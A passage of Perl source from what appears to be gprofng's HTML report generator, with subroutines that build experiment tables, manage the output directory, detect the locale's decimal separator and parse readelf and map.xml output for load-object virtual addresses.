  $html_header .= &quot;}\n&quot;;
  $html_header .= &quot;div.justify {\n&quot;;
  $html_header .= &quot;text-align: justify;\n&quot;;
  $html_header .= &quot;}\n&quot;;
  $html_header .= &quot;&lt;/style&gt;&quot;;

  return (\$html_header);

} #-- End of subroutine create_html_header

#------------------------------------------------------------------------------
# Create a complete table.
#------------------------------------------------------------------------------
sub create_table
{
  my $subr_name = get_my_name ();

  my ($experiment_data_ref, $table_definition_ref) = @_;

  my @experiment_data  = @{ $experiment_data_ref };
  my @table_definition = @{ $table_definition_ref };

  my @html_exp_table_data = ();
  my $html_header_line;
  my $html_table_line;
  my $html_end_table;

  $html_header_line = ${ create_table_header_exp (\@experiment_data) };

  push (@html_exp_table_data, $html_header_line);

  for my $i (sort keys @table_definition)
    {
      $html_table_line = ${
		create_table_entry_exp (\$table_definition[$i]{&quot;name&quot;},
					\$table_definition[$i]{&quot;key&quot;},
					\@experiment_data) };
      push (@html_exp_table_data, $html_table_line);

      my $msg = &quot;i = $i html_table_line = $html_table_line&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }

  $html_end_table  = &quot;&lt;/table&gt;\n&quot;;
  push (@html_exp_table_data, $html_end_table);

  return (\@html_exp_table_data);

} #-- End of subroutine create_table

#------------------------------------------------------------------------------
# Create one row for the table with experiment info.
#------------------------------------------------------------------------------
sub create_table_entry_exp
{
  my $subr_name = get_my_name ();

  my ($entry_name_ref, $key_ref, $experiment_data_ref) = @_;

  my $entry_name       = ${ $entry_name_ref };
  my $key              = ${ $key_ref };
  my @experiment_data  = @{ $experiment_data_ref };

  my $html_line;
  my $msg;

  $msg = &quot;entry_name = $entry_name key = $key&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

##  $html_line  = &quot;&lt;tr&gt;&lt;div class=\&quot;left\&quot;&gt;&lt;td&gt;&lt;b&gt;&amp;nbsp; &quot;;
  $html_line  = &quot;&lt;tr&gt;&lt;div class=\&quot;right\&quot;&gt;&lt;td&gt;&lt;b&gt;&amp;nbsp; &quot;;
  $html_line .= $entry_name;
  $html_line .= &quot; &amp;nbsp;&lt;/b&gt;&lt;/td&gt;&quot;;
  for my $i (sort keys @experiment_data)
    {
      if (exists ($experiment_data[$i]{$key}))
        {
          $html_line .= &quot;&lt;td&gt;&amp;nbsp; &quot; . $experiment_data[$i]{$key};
          $html_line .= &quot; &amp;nbsp;&lt;/td&gt;&quot;;
        }
      else
        {
          $msg = &quot;experiment_data[$i]{$key} does not exist&quot;;
##          gp_message (&quot;assertion&quot;, $subr_name, $msg);
# TBD: warning or error?
          gp_message (&quot;warning&quot;, $subr_name, $msg);
        }
    }
  $html_line .= &quot;&lt;/div&gt;&lt;/tr&gt;\n&quot;;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;return html_line = $html_line&quot;);

  return (\$html_line);

} #-- End of subroutine create_table_entry_exp

#------------------------------------------------------------------------------
# Create the table header for the experiment info.
#------------------------------------------------------------------------------
sub create_table_header_exp
{
  my $subr_name = get_my_name ();

  my ($experiment_data_ref) = @_;

  my @experiment_data = @{ $experiment_data_ref };
  my $html_header_line;
  my $msg;

  $html_header_line  = &quot;&lt;style&gt;\n&quot;;
  $html_header_line .= &quot;table, th, td {\n&quot;;
  $html_header_line .= &quot;border: 1px solid black;\n&quot;;
  $html_header_line .= &quot;border-collapse: collapse;\n&quot;;
  $html_header_line .= &quot;}\n&quot;;
  $html_header_line .= &quot;&lt;/style&gt;\n&quot;;
  $html_header_line .= &quot;&lt;/pre&gt;\n&quot;;
  $html_header_line .= &quot;&lt;table&gt;\n&quot;;
  $html_header_line .= &quot;&lt;tr&gt;&lt;div class=\&quot;center\&quot;&gt;&lt;th&gt;&lt;/th&gt;&quot;;

  for my $i (sort keys @experiment_data)
    {
      $html_header_line .= &quot;&lt;th&gt;&amp;nbsp; Experiment ID &quot;;
      $html_header_line .= $experiment_data[$i]{&quot;exp_id&quot;} . &quot;&amp;nbsp;&lt;/th&gt;&quot;;
    }
  $html_header_line .= &quot;&lt;/div&gt;&lt;/tr&gt;\n&quot;;

  $msg = &quot;html_header_line = &quot; . $html_header_line;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  return (\$html_header_line);

} #-- End of subroutine create_table_header_exp

#------------------------------------------------------------------------------
# Handle where the output should go. If needed, a directory is created where
# the results will go.
#------------------------------------------------------------------------------
sub define_the_output_directory
{
  my $subr_name = get_my_name ();

  my ($define_new_output_dir, $overwrite_output_dir) = @_;

  my $msg;
  my $outputdir;

#------------------------------------------------------------------------------
# If neither -o or -O are set, find the next number to be used in the name for
# the default output directory.
#------------------------------------------------------------------------------
  if ((not $define_new_output_dir) and (not $overwrite_output_dir))
    {
      my $dir_id = 1;
      while (-d &quot;er.&quot;.$dir_id.&quot;.html&quot;)
        { $dir_id++; }
      $outputdir = &quot;er.&quot;.$dir_id.&quot;.html&quot;;
    }

  if (-d $outputdir)
    {
#------------------------------------------------------------------------------
# The -o option is used, but the directory already exists.
#------------------------------------------------------------------------------
      if ($define_new_output_dir)
        {
          $msg = &quot;directory $outputdir already exists&quot;;
          gp_message (&quot;error&quot;, $subr_name, $msg);
          $g_total_error_count++;

          $msg  =  &quot;use the -O/--overwrite option to overwrite an existing&quot;;
          $msg .= &quot; directory&quot;;
          gp_message (&quot;abort&quot;, $subr_name, $msg);
        }
#------------------------------------------------------------------------------
# This is a bit risky, so we proceed with caution. The output directory exists,
# but it is okay to overwrite it. It is removed here and created again below.
#------------------------------------------------------------------------------
      elsif ($overwrite_output_dir)
        {
          my $target_cmd = $g_mapped_cmds{&quot;rm&quot;};
          my $rm_output  = qx ($target_cmd -rf $outputdir);
          my $error_code = ${^CHILD_ERROR_NATIVE};
          if ($error_code != 0)
            {
              gp_message (&quot;error&quot;, $subr_name, $rm_output);
              $msg = &quot;fatal error when trying to remove &quot; . $outputdir;
              gp_message (&quot;abort&quot;, $subr_name, $msg);
            }
          else
            {
              $msg = &quot;directory $outputdir has been removed&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);
            }
        }
    }
#------------------------------------------------------------------------------
# When we get here, the fatal scenarios have been cleared and the name for
# $outputdir is known. Time to create it.
#------------------------------------------------------------------------------
  if (mkdir ($outputdir, 0777))
    {
      $msg = &quot;created output directory &quot; . $outputdir;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }
  else
    {
      $msg = &quot;a fatal problem occurred when creating directory &quot; . $outputdir;
      gp_message (&quot;abort&quot;, $subr_name, $msg);
    }

  return ($outputdir);

} #-- End of subroutine define_the_output_directory

#------------------------------------------------------------------------------
# Return the virtual address for the load object.
#
# Note that at this point, $elf_arch is known to be supported.
#
# TBD: Duplications?
#------------------------------------------------------------------------------
sub determine_base_va_address
{
  my $subr_name = get_my_name ();

  my ($executable_name, $base_va_executable, $loadobj, $routine) = @_;

  my $msg;
  my $name_loadobject;
  my $base_va_address;

  $msg = &quot;base_va_executable = &quot; . $base_va_executable;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
  $msg = &quot;loadobj            = &quot; . $loadobj;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);
  $msg = &quot;routine            = &quot; . $routine;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Strip the pathname from the load object name.
#------------------------------------------------------------------------------
  $name_loadobject = get_basename ($loadobj);

#------------------------------------------------------------------------------
# If the load object is the executable, return the base address determined
# earlier.  Otherwise return 0x0.  Note that I am not sure if this is always
# the right thing to do, but for .so files it seems to work out fine.
#------------------------------------------------------------------------------
  if ($name_loadobject eq $executable_name)
    {
      $base_va_address = $base_va_executable;
    }
  else
    {
      $base_va_address = &quot;0x0&quot;;
    }

  my $decimal_address = bigint::hex ($base_va_address);

  $msg  = &quot;return base_va_address = $base_va_address&quot;;
  $msg .= &quot; (decimal: $decimal_address)&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  return ($base_va_address);

} #-- End of subroutine determine_base_va_address

#------------------------------------------------------------------------------
# Now that we know the map.xml file(s) are present, we can scan these and get
# the required information.
#------------------------------------------------------------------------------
sub determine_base_virtual_address
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref) = @_;

  my @exp_dir_list   = @{ $exp_dir_list_ref };

  my $executable_name;
  my $full_path_exec;
  my $msg;
  my $path_to_map_file;
  my $va_executable_in_hex;

  for my $exp_dir (keys %g_exp_dir_meta_data)
    {
      $path_to_map_file  = $g_exp_dir_meta_data{$exp_dir}{&quot;directory_path&quot;};
      $path_to_map_file .= $exp_dir;
      $path_to_map_file .= &quot;/map.xml&quot;;

      ($full_path_exec, $executable_name, $va_executable_in_hex) =
				extract_info_from_map_xml ($path_to_map_file);

      $g_exp_dir_meta_data{$exp_dir}{&quot;full_path_exec&quot;} = $full_path_exec;
      $g_exp_dir_meta_data{$exp_dir}{&quot;exec_name&quot;}      = $executable_name;
      $g_exp_dir_meta_data{$exp_dir}{&quot;va_base_in_hex&quot;} = $va_executable_in_hex;

      $msg = &quot;exp_dir              = &quot; . $exp_dir;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $msg = &quot;full_path_exece      = &quot; . $full_path_exec;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $msg = &quot;executable_name      = &quot; . $executable_name;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $msg = &quot;va_executable_in_hex = &quot; . $va_executable_in_hex;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

  return (0);

} #-- End of subroutine determine_base_virtual_address

#------------------------------------------------------------------------------
# Determine whether the decimal separator is a point or a comma.
#------------------------------------------------------------------------------
sub determine_decimal_separator
{
  my $subr_name = get_my_name ();

  my $cmd_output;
  my $convert_to_dot;
  my $decimal_separator;
  my $error_code;
  my $field;
  my $ignore_count;
  my @locale_info = ();
  my $msg;
  my $target_cmd;
  my $target_found;

  my $default_decimal_separator = &quot;\\.&quot;;

  $target_cmd  = $g_mapped_cmds{locale} . &quot; -k LC_NUMERIC&quot;;
  ($error_code, $cmd_output) = execute_system_cmd ($target_cmd);

  if ($error_code != 0)
#------------------------------------------------------------------------------
# This is unlikely to happen, but you never know.  To reduce the nesting level,
# return right here in case of an error.
#------------------------------------------------------------------------------
    {
      $msg = &quot;failure to execute the command &quot; . $target_cmd;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;

      $convert_to_dot = $TRUE;

      return ($error_code, $default_decimal_separator, $convert_to_dot);
    }

#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Scan the locale info and search for the target line of the form
# decimal_point=&quot;&lt;target&gt;&quot; where &lt;target&gt; is either a dot, or a comma.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Split the output into the different lines and scan for the line we need.
#------------------------------------------------------------------------------
  @locale_info  = split (&quot;\n&quot;, $cmd_output);
  $target_found = $FALSE;
  for my $line (@locale_info)
    {
      chomp ($line);
      $msg = &quot;line from locale_info = &quot; . $line;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      if ($line =~ /decimal_point=/)
        {

#------------------------------------------------------------------------------
# Found the target line. Split this line to get the value field.
#------------------------------------------------------------------------------
          my @split_line = split (&quot;=&quot;, $line);

#------------------------------------------------------------------------------
# There should be 2 fields. If not, something went wrong.
#------------------------------------------------------------------------------
          if (scalar @split_line != 2)
            {
#     if (scalar @split_line == 2) {
#        $target_found    = $FALSE;
#------------------------------------------------------------------------------
# Remove the newline before printing the variables.
#------------------------------------------------------------------------------
              $ignore_count = chomp ($line);
              $ignore_count = chomp (@split_line);

              $msg  = &quot;line $line matches the search, but the decimal&quot;;
              $msg .= &quot; separator has the wrong format&quot;;
              gp_message (&quot;warning&quot;, $subr_name, $msg);
              $msg  = &quot;the splitted line is [@split_line] and does not&quot;;
              $msg .= &quot; contain 2 fields&quot;;
              gp_message (&quot;warning&quot;, $subr_name, $msg);
              $msg  = &quot;the default decimal separator will be used&quot;;
              gp_message (&quot;warning&quot;, $subr_name, $msg);

              $g_total_warning_count++;
            }
          else
            {
#------------------------------------------------------------------------------
# We know there are 2 fields and the second one has the decimal point.
#------------------------------------------------------------------------------
              $msg = &quot;split_line[1] = &quot; . $split_line[1];
              gp_message (&quot;debug&quot;, $subr_name, $msg);

              chomp ($split_line[1]);
              $field = $split_line[1];

              if (length ($field) != 3)
#------------------------------------------------------------------------------
# The field still includes the quotes.  Check if the string has length 3, which
# should be the case, but if not, we flag an error.  The error code is set such
# that the callee will know a problem has occurred.
#------------------------------------------------------------------------------
                {
                  $msg  = &quot;unexpected output from the $target_cmd command:&quot;;
                  $msg .= &quot; &quot; . $field;
                  gp_message (&quot;error&quot;, $subr_name, $msg);

                  $g_total_error_count++;

                  $error_code = 1;
                  last;
                }

              $msg = &quot;field = -&gt;$field&lt;-&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);

              if (($field eq &quot;\&quot;.\&quot;&quot;) or ($field eq &quot;\&quot;,\&quot;&quot;))
#------------------------------------------------------------------------------
# Found the separator.  Capture the character between the quotes.
#------------------------------------------------------------------------------
                {
                  $target_found      = $TRUE;
                  $decimal_separator = substr ($field,1,1);
                  $msg  = &quot;decimal_separator = $decimal_separator--end&quot;;
                  $msg .= &quot; skip remainder of loop&quot;;
                  gp_message (&quot;debug&quot;, $subr_name, $msg);
                  last;
                }
            }
        }
    }
  if (not $target_found)
    {
      $decimal_separator = $default_decimal_separator;
      $msg  = &quot;cannot determine the decimal separator&quot;;
      $msg .= &quot; - use the default &quot; . $decimal_separator;
      gp_message (&quot;warning&quot;, $subr_name, $msg);

      $g_total_warning_count++;
    }

  if ($decimal_separator ne &quot;.&quot;)
    {
      $convert_to_dot = $TRUE;
    }
  else
    {
      $convert_to_dot = $FALSE;
    }

  $decimal_separator = &quot;\\&quot;.$decimal_separator;
  $g_locale_settings{&quot;decimal_separator&quot;} = $decimal_separator;
  $g_locale_settings{&quot;convert_to_dot&quot;}    = $convert_to_dot;

  return ($error_code, $decimal_separator, $convert_to_dot);

} #-- End of subroutine determine_decimal_separator

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub dump_function_info
{
  my $subr_name = get_my_name ();

  my ($function_info_ref, $name) = @_;

  my %function_info = %{$function_info_ref};
  my $kip;
  my $msg;

  $msg = &quot;function_info for &quot; . $name;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  $kip = 0;
  for my $farray ($function_info{$name})
    {
      for my $elm (@{$farray})
        {
          $msg = $kip . &quot;: routine = &quot; . ${$elm}{&quot;routine&quot;};
          gp_message (&quot;debug&quot;, $subr_name, $msg);
          for my $key (sort keys %{$elm})
            {
              if ($key eq &quot;routine&quot;)
                {
                  next;
                }
              $msg = $kip . &quot;: $key = &quot; . ${$elm}{$key};
              gp_message (&quot;debug&quot;, $subr_name, $msg);
            }
          $kip++;
        }
    }

  return (0);

} #-- End of subroutine dump_function_info

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub elf_phdr
{
  my $subr_name = get_my_name ();

  my ($elf_loadobjects_found, $elf_arch, $loadobj, $routine,
      $ARCHIVES_MAP_NAME, $ARCHIVES_MAP_VADDR, $elf_rats_ref) = @_;

  my %elf_rats = %{$elf_rats_ref};

  my $msg;
  my $return_value;

#------------------------------------------------------------------------------
# TBD. Quick check. Can be moved up the call tree.
#------------------------------------------------------------------------------
    if ( $elf_arch ne &quot;Linux&quot; )
      {
        $msg = $elf_arch . &quot; is not a supported OS&quot;;
        gp_message (&quot;error&quot;, $subr_name, $msg);
        $g_total_error_count++;
        gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
      }

#------------------------------------------------------------------------------
# TBD: This should not be in a loop over $loadobj and only use the executable.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# TBD: $routine is not really used in these subroutines. Is this a bug?
#------------------------------------------------------------------------------
  if ($elf_loadobjects_found)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;calling elf_phdr_usual&quot;);
      $return_value = elf_phdr_usual ($elf_arch,
				      $loadobj,
				      $routine,
				      \%elf_rats);
    }
  else
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;calling elf_phdr_sometimes&quot;);
      $return_value = elf_phdr_sometimes ($elf_arch,
					  $loadobj,
					  $routine,
					  $ARCHIVES_MAP_NAME,
					  $ARCHIVES_MAP_VADDR);
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;the return value = $return_value&quot;);

  if (not $return_value)
    {
      $msg = &quot;need to handle a return value of FALSE&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);
      $g_total_error_count++;
      gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
    }

  return ($return_value);

} #-- End of subroutine elf_phdr

#------------------------------------------------------------------------------
# Return the virtual address for the load object.
#------------------------------------------------------------------------------
sub elf_phdr_sometimes
{
  my $subr_name = get_my_name ();

  my ($elf_arch, $loadobj, $routine, $ARCHIVES_MAP_NAME,
      $ARCHIVES_MAP_VADDR) = @_;

  my $arch_uname_s = $local_system_config{&quot;kernel_name&quot;};
  my $arch_uname   = $local_system_config{&quot;processor&quot;};
  my $arch         = $g_arch_specific_settings{&quot;arch&quot;};

  gp_message (&quot;debug&quot;, $subr_name, &quot;arch_uname_s = $arch_uname_s&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;arch_uname   = $arch_uname&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;arch         = $arch&quot;);

  my $cmd_output;
  my $command_string;
  my $error_code;
  my $msg;
  my $target_cmd;

  my $line;
  my $blo;

  my $elf_offset;
  my $i;
  my @foo;
  my $foo;
  my $foo1;
  my $p_vaddr;
  my $rc;
  my $archives_file;
  my $loadobj_SAVE;
  my $Offset;
  my $VirtAddr;
  my $PhysAddr;
  my $FileSiz;
  my $MemSiz;
  my $Flg;
  my $Align;

  if ($ARCHIVES_MAP_NAME eq $blo)
    {
      return ($ARCHIVES_MAP_VADDR);
    }
  else
    {
      return ($FALSE);
    }

  if ($arch_uname_s ne $elf_arch)
    {
#------------------------------------------------------------------------------
# We are masquerading between systems, must leave
#------------------------------------------------------------------------------
      $msg = &quot;masquerading arch_uname_s-&gt;$arch_uname_s elf_arch-&gt;$elf_arch&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      return ($FALSE);
    }

  if ($loadobj eq &quot;DYNAMIC_FUNCTIONS&quot;)
#------------------------------------------------------------------------------
# Linux vDSO, leave for now
#------------------------------------------------------------------------------
    {
      return ($FALSE);
    }

# TBD: STILL NEEDED??!!

  $loadobj_SAVE = $loadobj;

  $blo = get_basename ($loadobj);
  gp_message (&quot;debug&quot;, $subr_name, &quot;loadobj = $loadobj&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;blo     = $blo&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;ARCHIVES_MAP_NAME  = $ARCHIVES_MAP_NAME&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;ARCHIVES_MAP_VADDR = $ARCHIVES_MAP_VADDR&quot;);
  if ($ARCHIVES_MAP_NAME eq $blo)
    {
      return ($ARCHIVES_MAP_VADDR);
    }
  else
    {
      return ($FALSE);
    }

} #-- End of subroutine elf_phdr_sometimes

#------------------------------------------------------------------------------
# Return the virtual address for the load object.
#
# Note that at this point, $elf_arch is known to be supported.
#------------------------------------------------------------------------------
sub elf_phdr_usual
{
  my $subr_name = get_my_name ();

  my ($elf_arch, $loadobj, $routine, $elf_rats_ref) = @_;

  my %elf_rats = %{$elf_rats_ref};

  my $load_long_regex;
  $load_long_regex     = &#039;^\s+LOAD\s+(\S+)\s+(\S+)\s+(\S+)&#039;;
  $load_long_regex    .= &#039;\s+(\S+)\s+(\S+)\s+(R\sE)\s+(\S+)$&#039;;
  my $load_short_regex = &#039;^\s+LOAD\s+(\S+)\s+(\S+)\s+(\S+)$&#039;;
  my $re_regex         = &#039;^\s+(\S+)\s+(\S+)\s+(R\sE)\s+(\S+)$&#039;;

  my $return_code;
  my $cmd_output;
  my $target_cmd;
  my $command_string;
  my $error_code;
  my $error_code1;
  my $error_code2;
  my $msg;

  my ($elf_offset, $loadobjARC);
  my ($i, @foo, $foo, $foo1, $p_vaddr, $rc);
  my ($Offset, $VirtAddr, $PhysAddr, $FileSiz, $MemSiz, $Flg, $Align);

  my $arch_uname_s = $local_system_config{&quot;kernel_name&quot;};

  $msg = &quot;elf_arch = $elf_arch loadobj = $loadobj routine = $routine&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  my ($base, $ignore_value, $ignore_too) = fileparse ($loadobj);

  $msg = &quot;base = $base &quot; . basename ($loadobj);
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  if ($elf_arch eq &quot;Linux&quot;)
    {
      if ($arch_uname_s ne $elf_arch)
        {
#------------------------------------------------------------------------------
# We are masquerading between systems, must leave.
# Maybe we could use ELF_RATS
#------------------------------------------------------------------------------
          $msg  = &quot;masquerading arch_uname_s-&gt;&quot; . $arch_uname_s;
          $msg .= &quot; elf_arch-&gt;&quot; . $elf_arch;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

          return ($FALSE);
        }
      if ($loadobj eq &quot;DYNAMIC_FUNCTIONS&quot;)
        {
#------------------------------------------------------------------------------
# Linux vDSO, leave for now
#------------------------------------------------------------------------------
          gp_message (&quot;debug&quot;, $subr_name, &quot;early return: loadobj = $loadobj&quot;);
          return ($FALSE);
        }

      $target_cmd     = $g_mapped_cmds{&quot;readelf&quot;};
      $command_string = $target_cmd . &quot; -l &quot; . $loadobj . &quot; 2&gt;/dev/null&quot;;

      ($error_code1, $cmd_output) = execute_system_cmd ($command_string);

      $msg = &quot;executed command_string = &quot; . $command_string;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $msg = &quot;cmd_output = &quot; . $cmd_output;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      if ($error_code1 != 0)
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;call failure for $command_string&quot;);
#------------------------------------------------------------------------------
# e.g. $loadobj-&gt;/usr/lib64/libc-2.17.so
#------------------------------------------------------------------------------
          $loadobjARC = get_basename ($loadobj);
          gp_message (&quot;debug&quot;, $subr_name, &quot;seek elf_rats for $loadobjARC&quot;);

          if (exists ($elf_rats{$loadobjARC}))
            {
              my $elfoid;
              $elfoid  = $elf_rats{$loadobjARC}[1] . &quot;/archives/&quot;;
              $elfoid .= $elf_rats{$loadobjARC}[0];
              $target_cmd     = $g_mapped_cmds{&quot;readelf&quot;};
              $command_string = $target_cmd . &quot;-l &quot; . $elfoid . &quot; 2&gt;/dev/null&quot;;
              ($error_code2, $cmd_output) =
					execute_system_cmd ($command_string);

              if ($error_code2 != 0)
                {
                  $msg = &quot;call failure for &quot; . $command_string;
                  gp_message (&quot;error&quot;, $subr_name, $msg);
                  $g_total_error_count++;
                  gp_message (&quot;abort&quot;, $subr_name, $g_abort_msg);
                }
              else
                {
                  $msg = &quot;executed command_string = &quot; . $command_string;
                  gp_message (&quot;debug&quot;, $subr_name, $msg);
                  $msg = &quot;cmd_output = &quot; . $cmd_output;
                  gp_message (&quot;debug&quot;, $subr_name, $msg);
                }
            }
          else
            {
              $msg =  &quot;elf_rats{$loadobjARC} does not exist&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }
        }
#------------------------------------------------------------------------------
# Example output of &quot;readelf -l&quot; on Linux:
#
# Elf file type is EXEC (Executable file)
# Entry point 0x4023a0
# There are 11 program headers, starting at offset 64
#
# Program Headers:
#   Type           Offset             VirtAddr           PhysAddr
#                  FileSiz            MemSiz              Flags  Align
#   PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
#                  0x0000000000000268 0x0000000000000268  R      8
#   INTERP         0x00000000000002a8 0x00000000004002a8 0x00000000004002a8
#                  0x000000000000001c 0x000000000000001c  R      1
#       [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
#   LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
#                  0x0000000000001310 0x0000000000001310  R      1000
#   LOAD           0x0000000000002000 0x0000000000402000 0x0000000000402000
#                  0x0000000000006515 0x0000000000006515  R E    1000
#   LOAD           0x0000000000009000 0x0000000000409000 0x0000000000409000
#                  0x000000000006f5a8 0x000000000006f5a8  R      1000
#   LOAD           0x0000000000078dc8 0x0000000000479dc8 0x0000000000479dc8
#                  0x000000000000047c 0x0000000000000f80  RW     1000
#   DYNAMIC        0x0000000000078dd8 0x0000000000479dd8 0x0000000000479dd8
#                  0x0000000000000220 0x0000000000000220  RW     8
#   NOTE           0x00000000000002c4 0x00000000004002c4 0x00000000004002c4
#                  0x0000000000000044 0x0000000000000044  R      4
#   GNU_EH_FRAME   0x00000000000777f4 0x00000000004777f4 0x00000000004777f4
#                  0x000000000000020c 0x000000000000020c  R      4
#   GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
#                  0x0000000000000000 0x0000000000000000  RW     10
#   GNU_RELRO      0x0000000000078dc8 0x0000000000479dc8 0x0000000000479dc8
#                  0x0000000000000238 0x0000000000000238  R      1
#
#  Section to Segment mapping:
#   Segment Sections...
#    00
#    01     .interp
#    02     .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym
#           .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
#    03     .init .plt .text .fini
#    04     .rodata .eh_frame_hdr .eh_frame
#    05     .init_array .fini_array .dynamic .got .got.plt .data .bss
#    06     .dynamic
#    07     .note.gnu.build-id .note.ABI-tag
#    08     .eh_frame_hdr
#    09
#    10     .init_array .fini_array .dynamic .got
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Analyze the ELF information and try to find the virtual address.
#
# Note that the information printed as part of LOAD needs to have &quot;R E&quot; in it.
# In the example output above, the return value would be &quot;0x0000000000402000&quot;.
#
# We also need to distinguish two cases.  It could be that the output is on
# a single line, or spread over two lines:
#
#                 Offset   VirtAddr   PhysAddr   FileSiz  MemSiz   Flg Align
#  LOAD           0x000000 0x08048000 0x08048000 0x61b4ae 0x61b4ae R E 0x1000
# or 2 lines
#  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
#                 0x0000000000001010 0x0000000000001010  R E    200000
#------------------------------------------------------------------------------
      @foo = split (&quot;\n&quot;,$cmd_output);
      for $i (0 .. $#foo)
        {
          $foo = $foo[$i];
          chomp ($foo);
          if ($foo =~ /$load_long_regex/)
            {
              $Offset   = $1;
              $VirtAddr = $2;
              $PhysAddr = $3;
              $FileSiz  = $4;
              $MemSiz   = $5;
              $Flg      = $6;
              $Align    = $7;

              $elf_offset = $VirtAddr;
              $msg = &quot;single line version elf_offset = &quot; . $elf_offset;
              gp_message (&quot;debug&quot;, $subr_name, $msg);
              return ($elf_offset);
            }
          elsif ($foo =~ /$load_short_regex/)
            {
#------------------------------------------------------------------------------
# is it a two line version?
#------------------------------------------------------------------------------
              $Offset   = $1;
              $VirtAddr = $2; # maybe
              $PhysAddr = $3;
              if ($i != $#foo)
                {
                  $foo1 = $foo[$i + 1];
                  chomp ($foo1);
                  if ($foo1 =~ /$re_regex/)
                    {
                      $FileSiz  = $1;
                      $MemSiz   = $2;
                      $Flg      = $3;
                      $Align    = $4;
                      $elf_offset = $VirtAddr;
                      $msg = &quot;two line version elf_offset = &quot; . $elf_offset;
                      gp_message (&quot;debug&quot;, $subr_name, $msg);
                      return ($elf_offset);
                    }
                }
            }
        }
    }

} #-- End of subroutine elf_phdr_usual

#------------------------------------------------------------------------------
# Execute a system command.  In case of an error, a non-zero error code is
# returned.  It is upon the caller to decide what to do next.
#------------------------------------------------------------------------------
sub execute_system_cmd
{
  my $subr_name = get_my_name ();

  my ($target_cmd) = @_;

  my $cmd_output;
  my $error_code;
  my $msg;

  chomp ($target_cmd);

  $cmd_output = qx ($target_cmd);
  $error_code = ${^CHILD_ERROR_NATIVE};

  if ($error_code != 0)
    {
      chomp ($cmd_output);
      $msg = &quot;failure executing command &quot; . $target_cmd;
      gp_message (&quot;error&quot;, $subr_name, $msg);
      $msg = &quot;error code = &quot; . $error_code;
      gp_message (&quot;error&quot;, $subr_name, $msg);
      $msg = &quot;cmd_output = &quot; . $cmd_output;

      gp_message (&quot;error&quot;, $subr_name, $msg);
      $g_total_error_count++;
    }
  else
    {
      $msg = &quot;executed command &quot; . $target_cmd;
      gp_message (&quot;debugXL&quot;, $subr_name, $msg);
    }

  return ($error_code, $cmd_output);

} #-- End of subroutine execute_system_cmd

#------------------------------------------------------------------------------
# Scan the input file, which should be a gprofng generated map.xml file, and
# extract the relevant information.
#------------------------------------------------------------------------------
sub extract_info_from_map_xml
{
  my $subr_name = get_my_name ();

  my ($input_map_xml_file) = @_;

  my $map_xml_regex;
  $map_xml_regex  = &#039;&lt;event kind=&quot;map&quot;\s.*&#039;;
  $map_xml_regex .= &#039;vaddr=&quot;0x([0-9a-fA-F]+)&quot;\s+.*&#039;;
  $map_xml_regex .= &#039;foffset=&quot;\+*0x([0-9a-fA-F]+)&quot;\s.*&#039;;
  $map_xml_regex .= &#039;modes=&quot;0x([0-9]+)&quot;\s.*&#039;;
  $map_xml_regex .= &#039;name=&quot;(.*)&quot;.*&gt;$&#039;;

  my $extracted_information;
  my $input_line;
  my $vaddr;
  my $foffset;
  my $msg;
  my $modes;
  my $name_path;
  my $name;

  my $full_path_exec;
  my $executable_name;
  my $result_VA;
  my $va_executable_in_hex;

  $msg = &quot; - unable to open file $input_map_xml_file for reading:&quot;;
  open (MAP_XML, &quot;&lt;&quot;, $input_map_xml_file)
    or die ($subr_name . $msg . &quot; &quot; . $!);

  $msg = &quot;opened file $input_map_xml_file for reading&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

